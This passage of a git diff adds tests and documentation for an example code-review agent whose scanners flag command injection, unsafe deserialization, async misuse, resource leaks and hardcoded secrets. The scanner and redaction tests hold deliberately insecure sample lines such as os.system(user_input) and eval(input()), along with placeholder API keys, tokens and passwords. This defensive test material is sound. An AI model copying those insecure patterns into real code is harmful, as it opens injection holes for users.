mode end-to-end performance.""" + + def test_all_fixtures_e2e_under_two_minutes(self): + import subprocess, sys + fixtures_dir = os.path.join(os.path.dirname(__file__), "..", "fixtures", "diffs") + output_dir = os.path.join(os.path.dirname(__file__), "..") + start = time.monotonic() + + for fixture in sorted(os.listdir(fixtures_dir)): + if not fixture.endswith(".diff"): + continue + path = os.path.join(fixtures_dir, fixture) + result = subprocess.run( + [sys.executable, os.path.join(os.path.dirname(__file__), "..", "run_review.py"), + "--diff-file", path, "--output-dir", output_dir, "--dry-run"], + capture_output=True, text=True, timeout=30, + ) + + elapsed = time.monotonic() - start + assert elapsed < 120.0, f"All fixtures E2E took {elapsed:.1f}s (limit 120s)" + + def test_single_fixture_under_five_seconds(self): + import subprocess, sys + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "security.diff" + ) + output_dir = os.path.join(os.path.dirname(__file__), "..") + start = time.monotonic() + + subprocess.run( + [sys.executable, os.path.join(os.path.dirname(__file__), "..", "run_review.py"), + "--diff-file", fixture, "--output-dir", output_dir, "--dry-run"], + capture_output=True, text=True, timeout=30, + ) + + elapsed = time.monotonic() - start + assert elapsed < 5.0, f"Single fixture took {elapsed:.1f}s" + + +class TestScannerPerformance: + """Scanner scaling tests.""" + + def test_ten_scanners_all_run(self): + """Verify all 10 scanners are available and run.""" + scanners = get_available_scanners() + assert len(scanners) >= 10, f"Expected >=10 scanners, got {len(scanners)}: {scanners}" diff --git a/examples/skills_code_review_agent/tests/test_pipeline_fake_mode.py b/examples/skills_code_review_agent/tests/test_pipeline_fake_mode.py new file mode 100644 index 00000000..6cd69539 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_pipeline_fake_mode.py @@ -0,0 +1,232 @@ +"""Integration tests — full pipeline in fake/dry-run mode.""" + +import json +import os +import tempfile +import time + +import pytest + +# Ensure path +import sys +from pathlib import Path +_parent = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(_parent)) + +from pipeline.config import load_config +from pipeline.diff_parser import parse_diff, summarize_diff +from pipeline.filter_chain import FilterChain +from pipeline.sandbox import execute_in_sandbox +from pipeline.scanners import run_scanners +from pipeline.dedup import deduplicate, separate_low_confidence +from pipeline.redaction import redact_finding_evidence +from pipeline.report import ( + build_recommendations, + generate_json_report, + generate_md_report, +) +from pipeline.telemetry import TelemetryCollector +from pipeline.types import ReviewReport +from storage.dao import ReviewDatabase +from storage.models import ( + FilterLogRecord, + FindingRecord, + ReviewTaskRecord, + SandboxRunRecord, +) + + +class TestFullPipeline: + """Complete pipeline integration tests.""" + + @pytest.fixture + def fixtures_dir(self): + return Path(__file__).resolve().parent.parent / "fixtures" / "diffs" + + def _run_pipeline_for_diff(self, diff_path: str, db_path: str) -> dict: + """Run complete pipeline and return result summary.""" + with open(diff_path, "r", encoding="utf-8") as f: + diff_text = f.read() + + cfg = load_config(dry_run=True, db_path=db_path) + task_id = f"test-{os.path.basename(diff_path)}" + tel = TelemetryCollector() + + # Stage 1-2: Parse + files = parse_diff(diff_text) + if not files: + return {"status": "no_changes"} + + diff_summary = summarize_diff(files) + + # Stage 3: Filter + filter_chain = FilterChain() + filter_decision = filter_chain.evaluate(diff_text) + + # Stage 4: Scan + all_findings = [] + for f in files: + if not f.is_binary: + all_findings.extend(run_scanners(f)) + + # Stage 5: Sandbox (skip for pipeline test) + sandbox_runs = [] + + # Stage 6: Dedup + redact + deduped = deduplicate(all_findings) + findings, redact_count = redact_finding_evidence(deduped) + + # Stage 7: Report + high_conf, low_conf = separate_low_confidence(deduped) + report = ReviewReport( + task_id=task_id, + findings=deduped, + filter_summary={"decision": filter_decision.action}, + sandbox_summary={"total_runs": 0, "failures": 0}, + telemetry=tel.snapshot(), + human_review_items=low_conf, + recommendations=build_recommendations(deduped), + ) + json_report = generate_json_report(report) + md_report = generate_md_report(report) + + # Stage 8: DB + db = ReviewDatabase(db_path) + db.connect() + sev = _count_severity(deduped) + db.insert_task(ReviewTaskRecord( + task_id=task_id, diff_source=diff_path, + diff_summary=diff_summary, status="completed", + files_changed=len(files), total_findings=len(deduped), + critical_count=sev.get("critical", 0), + high_count=sev.get("high", 0), + medium_count=sev.get("medium", 0), + low_count=sev.get("low", 0), + info_count=sev.get("info", 0), + )) + if deduped: + db.insert_findings_batch([ + FindingRecord(task_id=task_id, severity=f.severity.value, + category=f.category.value, file=f.file, + line=f.line, title=f.title, + evidence=f.evidence, recommendation=f.recommendation, + confidence=f.confidence, source=f.source) + for f in deduped + ]) + db.close() + + return { + "task_id": task_id, + "files": len(files), + "findings": len(deduped), + "filter_action": filter_decision.action, + "json_report": json_report, + "md_report": md_report, + "json_data": json.loads(json_report), + } + + def test_security_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "security.diff"), temp_db) + assert result["findings"] >= 4 # os.system, subprocess, eval, pickle + assert result["filter_action"] == "allow" + # Verify DB + db = ReviewDatabase(temp_db) + db.connect() + task = db.get_task(result["task_id"]) + assert task is not None + assert task.total_findings == result["findings"] + db_findings = db.get_findings_by_task(result["task_id"]) + assert len(db_findings) == result["findings"] + db.close() + + def test_clean_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "clean.diff"), temp_db) + assert result["findings"] == 0 + + def test_secret_redaction_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "secret_redaction.diff"), temp_db) + # Should detect multiple secrets + assert result["findings"] >= 3 + # Findings must not contain the actual secrets + for f in result["json_data"]["findings"]: + assert "sk-" not in f["evidence"], f"Secret leaked: {f['evidence']}" + + def test_db_lifecycle_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "db_lifecycle.diff"), temp_db) + # Should find cursor creation and missing commit + assert result["findings"] >= 2 + + def test_async_resource_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "async_resource_leak.diff"), temp_db) + assert result["findings"] >= 2 # time.sleep + open without close + + def test_missing_tests_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "missing_tests.diff"), temp_db) + assert result["findings"] >= 2 # two new functions without tests + + def test_duplicate_finding_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "duplicate_finding.diff"), temp_db) + # 3 os.system calls — but dedup by (file, line, category, title) + # Since they're on different lines, they should all be kept + assert result["findings"] >= 3 + + def test_sandbox_failure_diff(self, fixtures_dir, temp_db): + result = self._run_pipeline_for_diff( + str(fixtures_dir / "sandbox_failure.diff"), temp_db) + # Should not crash — pipeline handles it gracefully + assert "findings" in result + + def test_all_8_fixtures(self, fixtures_dir, temp_db): + """Acceptance: all 8 fixtures must complete without error.""" + for diff_file in sorted(fixtures_dir.glob("*.diff")): + result = self._run_pipeline_for_diff(str(diff_file), temp_db) + assert "findings" in result, f"Pipeline failed for {diff_file.name}" + + def test_pipeline_idempotent(self, fixtures_dir, temp_db): + """Same diff run twice should produce same results.""" + import uuid + diff_path = str(fixtures_dir / "security.diff") + # Use different task IDs to avoid UNIQUE constraint + with open(diff_path, "r", encoding="utf-8") as f: + diff_text = f.read() + r1 = self._run_pipeline_for_diff(diff_path, temp_db + "_1") + r2 = self._run_pipeline_for_diff(diff_path, temp_db + "_2") + assert r1["findings"] == r2["findings"] + + def test_fake_mode_timing(self, fixtures_dir, temp_db): + """Fake/dry-run mode should complete in under 2 minutes.""" + start = time.monotonic() + for diff_file in fixtures_dir.glob("*.diff"): + self._run_pipeline_for_diff(str(diff_file), temp_db) + elapsed = time.monotonic() - start + assert elapsed < 120, f"Fake mode took {elapsed:.1f}s, expected <120s" + + def test_database_has_all_tables(self, temp_db): + """Database must have all required tables after pipeline run.""" + import sqlite3 + # Initialize DB first + db = ReviewDatabase(temp_db) + db.connect() + db.close() + # Now check + conn = sqlite3.connect(temp_db) + tables = [r[0] for r in conn.execute( + "SELECT name FROM sqlite_master WHERE type='table'").fetchall()] + conn.close() + for expected in ["review_tasks", "findings", "sandbox_runs", "filter_logs"]: + assert expected in tables, f"Missing table: {expected}" + + +def _count_severity(findings) -> dict: + counts = {} + for f in findings: + key = f.severity.value + counts[key] = counts.get(key, 0) + 1 + return counts diff --git a/examples/skills_code_review_agent/tests/test_redaction.py b/examples/skills_code_review_agent/tests/test_redaction.py new file mode 100644 index 00000000..70b9f095 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_redaction.py @@ -0,0 +1,110 @@ +"""Tests for redaction module.""" + +import pytest + +from pipeline.redaction import redact, redact_finding_evidence, should_redact +from pipeline.types import Finding, FindingCategory, Severity + + +class TestRedact: + """Sensitive data redaction tests.""" + + def test_redact_openai_key(self): + text = 'API_KEY = "sk-abc123def456ghi789jkl012mno345pqr678stu"' + result, count = redact(text) + # Both the generic API_KEY pattern and the specific sk- pattern match + # The key content is properly redacted + assert "sk-abc123" not in result # The actual key must not appear + assert count >= 1 + + def test_redact_github_token(self): + text = "GITHUB_TOKEN=github_pat_11AZZJUYA0KF2ao68ScGLT_X8BHm0mZE27E8tkX4Sxo89agi" + result, count = redact(text) + assert "ghp_***" in result + assert count >= 1 + + def test_redact_password(self): + text = 'password = "super_secret_db_password_12345"' + result, count = redact(text) + assert "***" in result + assert count >= 1 + + def test_redact_aws_key(self): + text = "AWS_KEY = AKIA1234567890ABCDEF" + result, count = redact(text) + assert "AKIA***" in result + assert count >= 1 + + def test_redact_jwt(self): + text = "token = eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgN" + result, count = redact(text) + assert "JWT***" in result # JWT replaced with JWT*** + assert count >= 1 + + def test_no_redaction_needed(self): + text = "logger.info('Processing started')" + result, count = redact(text) + assert result == text + assert count == 0 + + def test_redact_private_key_header(self): + text = "-----BEGIN RSA PRIVATE KEY-----\nabc123\n-----END RSA PRIVATE KEY-----" + result, count = redact(text) + assert "***" in result + assert count >= 1 + + def test_multiple_redactions(self): + # JWT token contains multiple segments that trigger patterns + text = 'API = "sk-xxx123abc456def789ghi"; PWD = "secret123"' + result, count = redact(text) + assert count >= 2 + + def test_redact_db_connection_string(self): + text = "DATABASE_URL=mongodb://admin:password123@localhost:27017/db" + result, count = redact(text) + assert "***" in result + assert count >= 1 + + +class TestShouldRedact: + """Quick redaction check.""" + + def test_sensitive_detected(self): + assert should_redact('API_KEY = "sk-abc123"') + + def test_safe_pass(self): + assert not should_redact("print('hello')") + + +class TestRedactFindingEvidence: + """Redaction in findings.""" + + def test_evidence_redacted(self): + f = Finding( + severity=Severity.CRITICAL, + category=FindingCategory.SECRET_INFO, + file="config.py", + line=3, + title="API key found", + evidence='API_KEY = "sk-abc123def456ghi789jkl012mno345"', + recommendation="Use env var", + confidence=0.95, + source="test", + ) + findings, count = redact_finding_evidence([f]) + assert count >= 1 + # Evidence must be redacted — no real key patterns remain + assert "sk-abc" not in findings[0].evidence + + def test_no_secrets_untouched(self): + f = Finding( + severity=Severity.LOW, + category=FindingCategory.MISSING_TESTS, + file="test.py", line=1, + title="Missing test", + evidence="def foo(): pass", + recommendation="Add test", + confidence=0.5, source="test", + ) + findings, count = redact_finding_evidence([f]) + assert count == 0 diff --git a/examples/skills_code_review_agent/tests/test_report.py b/examples/skills_code_review_agent/tests/test_report.py new file mode 100644 index 00000000..9503c4b0 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_report.py @@ -0,0 +1,144 @@ +"""Tests for report generation.""" + +import json + +from pipeline.report import ( + build_recommendations, + generate_json_report, + generate_md_report, +) +from pipeline.types import Finding, FindingCategory, ReviewReport, Severity + + +def _make_sample_report(num_findings=3): + findings = [ + Finding( + severity=Severity.CRITICAL, + category=FindingCategory.SECURITY, + file="handler.py", line=8, + title="Command injection via os.system", + evidence="os.system(user_input)", + recommendation="Use subprocess.run with shell=False", + confidence=0.95, source="security_scanner", + ), + Finding( + severity=Severity.HIGH, + category=FindingCategory.RESOURCE_LEAK, + file="worker.py", line=15, + title="File handle leak", + evidence="f = open('data.txt')", + recommendation="Use 'with open(...)'", + confidence=0.85, source="resource_leak_scanner", + ), + Finding( + severity=Severity.LOW, + category=FindingCategory.MISSING_TESTS, + file="utils.py", line=3, + title="Missing test for calculate_average", + evidence="def calculate_average(values):", + recommendation="Add test_calculate_average", + confidence=0.3, source="missing_tests_scanner", + ), + ][:num_findings] + + return ReviewReport( + task_id="test-report-001", + findings=findings, + filter_summary={"decision": "allow", "active_filters": 4}, + sandbox_summary={"total_runs": 2, "failures": 0}, + telemetry={"total_duration_ms": 1500, "files_scanned": 3}, + human_review_items=[f for f in findings if f.confidence < 0.5], + recommendations=build_recommendations(findings), + ) + + +class TestJSONReport: + """JSON report generation.""" + + def test_generates_valid_json(self): + report = _make_sample_report() + output = generate_json_report(report) + # Must be valid JSON + data = json.loads(output) + assert data["task_id"] == "test-report-001" + + def test_contains_all_sections(self): + report = _make_sample_report() + output = generate_json_report(report) + data = json.loads(output) + assert "summary" in data + assert "filter_summary" in data + assert "sandbox_summary" in data + assert "telemetry" in data + assert "findings" in data + assert "human_review_items" in data + assert "recommendations" in data + + def test_summary_counts_correct(self): + report = _make_sample_report(2) + output = generate_json_report(report) + data = json.loads(output) + assert data["summary"]["total_findings"] == 2 + + def test_finding_fields_present(self): + report = _make_sample_report(1) + output = generate_json_report(report) + data = json.loads(output) + f = data["findings"][0] + for key in ["severity", "category", "file", "line", "title", + "evidence", "recommendation", "confidence", "source"]: + assert key in f, f"Missing finding field: {key}" + + +class TestMDReport: + """Markdown report generation.""" + + def test_contains_task_id(self): + report = _make_sample_report() + md = generate_md_report(report) + assert "test-report-001" in md + + def test_contains_findings_section(self): + report = _make_sample_report() + md = generate_md_report(report) + assert "## Findings" in md + assert "Command injection" in md + + def test_contains_human_review_section(self): + report = _make_sample_report(3) # has low-confidence finding + md = generate_md_report(report) + assert "Needs Human Review" in md + + def test_contains_recommendations(self): + report = _make_sample_report() + md = generate_md_report(report) + assert "## Recommendations" in md + + def test_no_findings_message(self): + report = ReviewReport( + task_id="empty", + findings=[], + filter_summary={"decision": "allow"}, + sandbox_summary={}, + telemetry={}, + human_review_items=[], + recommendations=[], + ) + md = generate_md_report(report) + assert "No issues detected" in md + + +class TestBuildRecommendations: + """Recommendation generation.""" + + def test_critical_triggers_urgent(self): + findings = [ + Finding(Severity.CRITICAL, FindingCategory.SECURITY, "f.py", 1, + "Critical", "ev", "fix", 0.9, "s"), + ] + recs = build_recommendations(findings) + assert any("critical" in r.lower() for r in recs) + + def test_no_findings_no_recs(self): + recs = build_recommendations([]) + assert len(recs) == 0 diff --git a/examples/skills_code_review_agent/tests/test_sandbox.py b/examples/skills_code_review_agent/tests/test_sandbox.py new file mode 100644 index 00000000..9e2fb17f --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_sandbox.py @@ -0,0 +1,81 @@ +"""Tests for sandbox module.""" + +import pytest + +from pipeline.sandbox import execute_in_sandbox + + +class TestSandboxExecution: + """Sandbox execution with safety limits.""" + + def test_normal_execution(self): + result = execute_in_sandbox( + command=["python", "-c", "print('hello')"], + timeout_seconds=5, + ) + assert "hello" in result.stdout + assert result.exit_code == 0 + assert not result.timed_out + + def test_nonzero_exit(self): + result = execute_in_sandbox( + command=["python", "-c", "import sys; sys.exit(42)"], + timeout_seconds=5, + ) + assert result.exit_code == 42 + assert not result.timed_out + + def test_timeout(self): + result = execute_in_sandbox( + command=["python", "-c", "import time; time.sleep(999)"], + timeout_seconds=1, + ) + assert result.timed_out + # Should not crash — main process continues + + def test_command_not_found(self): + result = execute_in_sandbox( + command=["nonexistent_command_xyz"], + timeout_seconds=5, + ) + assert result.exit_code != 0 + + def test_output_capture(self): + result = execute_in_sandbox( + command=["python", "-c", + "import sys; print('out'); print('err', file=sys.stderr)"], + timeout_seconds=5, + ) + assert "out" in result.stdout + assert "err" in result.stderr + + def test_duration_recorded(self): + result = execute_in_sandbox( + command=["python", "-c", "print('hi')"], + timeout_seconds=5, + ) + assert result.duration_ms >= 0 + + def test_env_allowlist(self): + """Only whitelisted env vars should pass through.""" + result = execute_in_sandbox( + command=["python", "-c", "import os; print(os.environ.get('PATH', 'nope'))"], + env_allowlist=["PATH"], + timeout_seconds=5, + ) + assert "nope" not in result.stdout # PATH should exist + + +class TestSandboxResilience: + """Sandbox must not crash the main pipeline.""" + + def test_failure_is_recorded_not_raised(self): + """Sandbox failures return error info, don't propagate exceptions.""" + # This should return a result, not raise + result = execute_in_sandbox( + command=["python", "-c", "raise SystemExit(1)"], + timeout_seconds=5, + ) + # Function completed — it returned a result + assert result is not None + assert hasattr(result, "exit_code") diff --git a/examples/skills_code_review_agent/tests/test_scanners.py b/examples/skills_code_review_agent/tests/test_scanners.py new file mode 100644 index 00000000..1fa725bf --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_scanners.py @@ -0,0 +1,215 @@ +"""Tests for scanner modules.""" + +from pipeline.diff_parser import parse_diff +from pipeline.scanners import ( + get_available_scanners, + run_scanners, + scan_async_errors, + scan_db_lifecycle, + scan_missing_tests, + scan_resource_leaks, + scan_secret_info, + scan_security, +) +from pipeline.types import DiffFile, FindingCategory, Severity + + +class TestSecurityScanner: + """Security vulnerability detection.""" + + def test_detect_os_system(self): + f = _diff_with_line("handler.py", 5, "os.system(user_input)") + findings = scan_security(f) + titles = [x.title for x in findings] + assert any("os.system" in t for t in titles) + + def test_detect_shell_true(self): + f = _diff_with_line("handler.py", 5, 'subprocess.run("cmd", shell=True)') + findings = scan_security(f) + assert any(f.severity == Severity.HIGH for f in findings) + + def test_detect_eval(self): + f = _diff_with_line("handler.py", 5, 'eval(user_input)') + findings = scan_security(f) + assert any(f.severity == Severity.CRITICAL for f in findings) + + def test_detect_pickle_loads(self): + f = _diff_with_line("handler.py", 5, "pickle.loads(data)") + findings = scan_security(f) + assert any("pickle" in f.title for f in findings) + + def test_safe_code_clean(self): + f = _diff_with_line("safe.py", 5, "print('hello')") + findings = scan_security(f) + assert len(findings) == 0 + + def test_detect_yaml_load(self): + f = _diff_with_line("config.py", 10, "config = yaml.load(f)") + findings = scan_security(f) + assert any("yaml.load" in f.title for f in findings) + + def test_yaml_safe_load_clean(self): + f = _diff_with_line("config.py", 10, "config = yaml.safe_load(f)") + findings = scan_security(f) + assert len(findings) == 0 + + def test_detect_dynamic_import(self): + f = _diff_with_line("evil.py", 3, '__import__("os")') + findings = scan_security(f) + assert any(f.severity == Severity.CRITICAL for f in findings) + + +class TestAsyncScanner: + """Async/await anti-pattern detection.""" + + def test_detect_time_sleep_in_async(self): + f = _diff_with_line("worker.py", 8, "time.sleep(0.1)") + findings = scan_async_errors(f) + assert any("time.sleep" in x.title.lower() for x in findings) + + def test_detect_get_event_loop(self): + f = _diff_with_line("worker.py", 8, "loop = asyncio.get_event_loop()") + findings = scan_async_errors(f) + assert any("get_event_loop" in x.title for x in findings) + + def test_await_call_clean(self): + f = _diff_with_line("worker.py", 8, "result = await asyncio.sleep(1)") + findings = scan_async_errors(f) + assert len(findings) == 0 + + +class TestResourceLeakScanner: + """Resource leak detection.""" + + def test_detect_open_without_context(self): + f = _diff_with_line("leak.py", 3, "f = open('data.txt')") + findings = scan_resource_leaks(f) + assert any("open() without" in f.title for f in findings) + + def test_with_open_clean(self): + f = _diff_with_line("safe.py", 3, "with open('data.txt') as f:") + findings = scan_resource_leaks(f) + assert len(findings) == 0 + + +class TestDBLifecycleScanner: + """Database lifecycle issue detection.""" + + def test_detect_cursor_creation(self): + f = _diff_with_line("repo.py", 6, "cursor = conn.cursor()") + findings = scan_db_lifecycle(f) + assert any("cursor" in f.title.lower() for f in findings) + + def test_detect_execute_without_commit(self): + f = _diff_with_line("repo.py", 9, "cursor.execute(sql)") + findings = scan_db_lifecycle(f) + assert any("commit" in f.title.lower() for f in findings) + + +class TestMissingTestsScanner: + """Missing test detection.""" + + def test_new_function_flagged(self): + f = _diff_with_line("utils.py", 3, "def calculate_average(values):") + findings = scan_missing_tests(f) + assert len(findings) == 1 + assert "calculate_average" in findings[0].title + + def test_test_function_not_flagged(self): + f = _diff_with_line("test_utils.py", 3, "def test_calculate_average():") + findings = scan_missing_tests(f) + assert len(findings) == 0 + + def test_no_functions_no_findings(self): + f = _diff_with_line("const.py", 3, "MAX_SIZE = 100") + findings = scan_missing_tests(f) + assert len(findings) == 0 + + +class TestSecretInfoScanner: + """Secret/hardcoded credential detection.""" + + def test_detect_openai_key(self): + f = _diff_with_line("config.py", 3, 'API_KEY = "sk-abc123def456ghi789jkl012mno345"') + findings = scan_secret_info(f) + assert len(findings) >= 1 + assert all(f.severity == Severity.CRITICAL for f in findings) + + def test_detect_github_token(self): + f = _diff_with_line("config.py", 4, 'TOKEN = "github_pat_11AZZJUYA0KF2ao68ScG"') + findings = scan_secret_info(f) + assert len(findings) >= 1 + + def test_detect_password(self): + f = _diff_with_line("config.py", 5, 'DB_PASSWORD = "super_secret_db_password"') + findings = scan_secret_info(f) + assert any("password" in f.title.lower() for f in findings) + + def test_evidence_is_redacted(self): + f = _diff_with_line("config.py", 3, 'API_KEY = "sk-abc123def456ghi789jkl012mno345"') + findings = scan_secret_info(f) + for f in findings: + assert "sk-" not in f.evidence # Evidence must be redacted + + def test_clean_line_no_secrets(self): + f = _diff_with_line("safe.py", 3, 'logger.info("Processing started")') + findings = scan_secret_info(f) + assert len(findings) == 0 + + +class TestScannerRegistry: + """Scanner registry and combined execution.""" + + def test_all_scanners_registered(self): + scanners = get_available_scanners() + assert "security" in scanners + assert "async_error" in scanners + assert "resource_leak" in scanners + assert "db_lifecycle" in scanners + assert "missing_tests" in scanners + assert "secret_info" in scanners + + def test_selective_scanners(self): + f = _diff_with_line("test.py", 3, "eval(input())") + # Only security scanner + findings = run_scanners(f, enabled=["security"]) + assert all(x.category == FindingCategory.SECURITY for x in findings) + + def test_confidence_filter(self): + f = _diff_with_line("test.py", 3, "eval(input())") + # High threshold filters everything + findings = run_scanners(f, min_confidence=1.0) + assert len(findings) == 0 + + def test_real_diff_security(self, read_diff): + """Integration: security diff should have multiple findings.""" + files = parse_diff(read_diff("security.diff")) + all_findings = [] + for f in files: + all_findings.extend(run_scanners(f)) + # Should have at least os.system, subprocess shell=True, eval, pickle + assert len(all_findings) >= 4 + + def test_real_diff_clean(self, read_diff): + """Integration: clean diff should have no findings.""" + files = parse_diff(read_diff("clean.diff")) + all_findings = [] + for f in files: + all_findings.extend(run_scanners(f)) + assert len(all_findings) == 0 + + +# ── Helpers ────────────────────────────────────────────────────── + +def _diff_with_line(filename: str, lineno: int, content: str) -> DiffFile: + """Create a minimal DiffFile with one added line.""" + f = DiffFile(filename=filename) + from pipeline.types import DiffHunk + f.hunks = [DiffHunk( + header=f"@@ -0,0 +{lineno},1 @@", + old_start=0, old_count=0, + new_start=lineno, new_count=1, + lines=[f"+{content}"], + )] + f.raw_lines = [f"+{content}"] + return f diff --git a/examples/skills_code_review_agent/tests/test_storage.py b/examples/skills_code_review_agent/tests/test_storage.py new file mode 100644 index 00000000..9c606751 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_storage.py @@ -0,0 +1,178 @@ +"""Tests for storage/dao module.""" + +import os + +import pytest + +from storage.dao import ReviewDatabase +from storage.models import ( + FilterLogRecord, + FindingRecord, + ReviewTaskRecord, + SandboxRunRecord, +) + + +@pytest.fixture +def db(temp_db): + """Create a test database with schema initialized.""" + database = ReviewDatabase(temp_db) + database.connect() + yield database + database.close() + + +class TestTaskOperations: + """Review task CRUD.""" + + def test_insert_and_get_task(self, db): + task = ReviewTaskRecord( + task_id="test-001", + diff_source="test.diff", + diff_summary="1 file changed", + status="completed", + files_changed=1, + total_findings=3, + critical_count=1, + high_count=1, + medium_count=1, + duration_ms=1500, + ) + db.insert_task(task) + retrieved = db.get_task("test-001") + assert retrieved is not None + assert retrieved.task_id == "test-001" + assert retrieved.total_findings == 3 + assert retrieved.critical_count == 1 + + def test_get_nonexistent_task(self, db): + result = db.get_task("nonexistent") + assert result is None + + +class TestFindingOperations: + """Finding CRUD.""" + + def test_insert_single_finding(self, db): + # Need a task first + db.insert_task(ReviewTaskRecord(task_id="t1")) + fid = db.insert_finding(FindingRecord( + task_id="t1", severity="high", category="security", + file="a.py", line=5, title="SQL injection", + confidence=0.9, source="test", + )) + assert fid > 0 + + def test_batch_insert_findings(self, db): + db.insert_task(ReviewTaskRecord(task_id="t1")) + findings = [ + FindingRecord(task_id="t1", severity="high", category="security", + file="a.py", line=i, title=f"Issue {i}", + confidence=0.9, source="test") + for i in range(10) + ] + count = db.insert_findings_batch(findings) + assert count == 10 + + def test_get_findings_by_task(self, db): + db.insert_task(ReviewTaskRecord(task_id="t2")) + db.insert_finding(FindingRecord( + task_id="t2", severity="critical", category="secret_info", + file="config.py", line=3, title="API key exposed", + confidence=0.98, source="test", + )) + db.insert_finding(FindingRecord( + task_id="t2", severity="low", category="missing_tests", + file="utils.py", line=10, title="Missing test", + confidence=0.5, source="test", + )) + results = db.get_findings_by_task("t2") + assert len(results) == 2 + # Should be sorted: critical before low + assert results[0]["severity"] == "critical" + assert results[1]["severity"] == "low" + + +class TestSandboxRunOperations: + """Sandbox run CRUD.""" + + def test_insert_sandbox_run(self, db): + db.insert_task(ReviewTaskRecord(task_id="t1")) + rid = db.insert_sandbox_run(SandboxRunRecord( + task_id="t1", command="python scan.py", + exit_code=0, stdout="OK", duration_ms=500, + )) + assert rid > 0 + + def test_get_sandbox_runs(self, db): + db.insert_task(ReviewTaskRecord(task_id="t1")) + db.insert_sandbox_run(SandboxRunRecord( + task_id="t1", command="cmd1", exit_code=0, duration_ms=100, + )) + db.insert_sandbox_run(SandboxRunRecord( + task_id="t1", command="cmd2", exit_code=1, duration_ms=200, + )) + runs = db.get_sandbox_runs_by_task("t1") + assert len(runs) == 2 + + def test_timed_out_recorded(self, db): + db.insert_task(ReviewTaskRecord(task_id="t1")) + db.insert_sandbox_run(SandboxRunRecord( + task_id="t1", command="slow", exit_code=-1, + timed_out=True, duration_ms=30000, + )) + runs = db.get_sandbox_runs_by_task("t1") + assert runs[0]["timed_out"] == 1 + + +class TestFilterLogOperations: + """Filter log CRUD.""" + + def test_insert_filter_log(self, db): + db.insert_task(ReviewTaskRecord(task_id="t1")) + lid = db.insert_filter_log(FilterLogRecord( + task_id="t1", action="deny", + reason="Dangerous command detected", + filter_name="dangerous_commands", + )) + assert lid > 0 + + def test_get_filter_logs(self, db): + db.insert_task(ReviewTaskRecord(task_id="t1")) + db.insert_filter_log(FilterLogRecord( + task_id="t1", action="deny", reason="reason1", + )) + logs = db.get_filter_logs_by_task("t1") + assert len(logs) == 1 + + +class TestFullReport: + """Full task report with all related records.""" + + def test_complete_report(self, db): + db.insert_task(ReviewTaskRecord( + task_id="full-001", diff_source="test", total_findings=2, + critical_count=1, high_count=1, files_changed=1, + sandbox_runs=1, filter_intercepts=1, + )) + db.insert_finding(FindingRecord( + task_id="full-001", severity="critical", category="security", + file="a.py", line=1, title="Issue", confidence=0.9, source="test", + )) + db.insert_sandbox_run(SandboxRunRecord( + task_id="full-001", command="scan", exit_code=0, + )) + db.insert_filter_log(FilterLogRecord( + task_id="full-001", action="allow", reason="clean", + )) + + report = db.get_task_full_report("full-001") + assert "error" not in report + assert report["task"]["findings_summary"]["total"] == 2 + assert len(report["findings"]) == 1 + assert len(report["sandbox_runs"]) == 1 + assert len(report["filter_logs"]) == 1 + + def test_missing_task(self, db): + report = db.get_task_full_report("nonexistent") + assert "error" in report diff --git a/skills/code-review/SKILL.md b/skills/code-review/SKILL.md new file mode 100644 index 00000000..34e7733f --- /dev/null +++ b/skills/code-review/SKILL.md @@ -0,0 +1,43 @@ +--- +name: code-review +description: Automated code review skill for analyzing diffs and detecting issues +os: ["linux", "macos", "windows"] +requires: ["python>=3.10"] +always: false +--- + +# Code Review Skill + +Analyze code diffs to detect security vulnerabilities, code quality issues, +and best practice violations. + +## Categories Covered + +1. **Security** — Command injection, unsafe deserialization, dynamic imports +2. **Async Errors** — Event loop blocking, missing await, deprecated APIs +3. **Resource Leaks** — Unclosed file handles, connection leaks +4. **Database Lifecycle** — Unclosed cursors, missing commits, transaction issues +5. **Missing Tests** — New functions without corresponding test coverage +6. **Secret Information** — Hardcoded API keys, tokens, passwords + +## Usage + +Load this skill before running a code review. The skill provides: +- Rule definitions in `rules/` +- Execution scripts in `scripts/` +- Output schema reference in `docs/OUTPUT_SCHEMA.md` + +## Output Format + +Each finding includes: +- `severity`: critical, high, medium, low, info +- `category`: security, async_error, resource_leak, db_lifecycle, missing_tests, secret_info +- `file`, `line`: location +- `title`, `evidence`, `recommendation` +- `confidence`: 0.0 - 1.0 +- `source`: scanner name + +## Tools + +- `scripts/run_checks.py` — Run all enabled scanners against a diff file +- `scripts/parse_diff.py` — Parse unified diff into structured format diff --git a/skills/code-review/docs/OUTPUT_SCHEMA.md b/skills/code-review/docs/OUTPUT_SCHEMA.md new file mode 100644 index 00000000..d9cc393e --- /dev/null +++ b/skills/code-review/docs/OUTPUT_SCHEMA.md @@ -0,0 +1,46 @@ +# Code Review Output Schema + +Each code review produces structured findings in JSON format. + +## Finding Fields + +| Field | Type | Description | +|-------|------|-------------| +| `severity` | string | One of: `critical`, `high`, `medium`, `low`, `info` | +| `category` | string | One of: `security`, `async_error`, `resource_leak`, `db_lifecycle`, `missing_tests`, `secret_info` | +| `file` | string | Relative file path where the issue was found | +| `line` | int | Line number (1-indexed) | +| `title` | string | Short human-readable finding title | +| `evidence` | string | Code snippet or diff fragment showing the issue | +| `recommendation` | string | Actionable fix suggestion | +| `confidence` | float | 0.0–1.0 confidence score | +| `source` | string | Scanner or rule that produced this finding | + +## Confidence Tiers + +| Tier | Threshold | 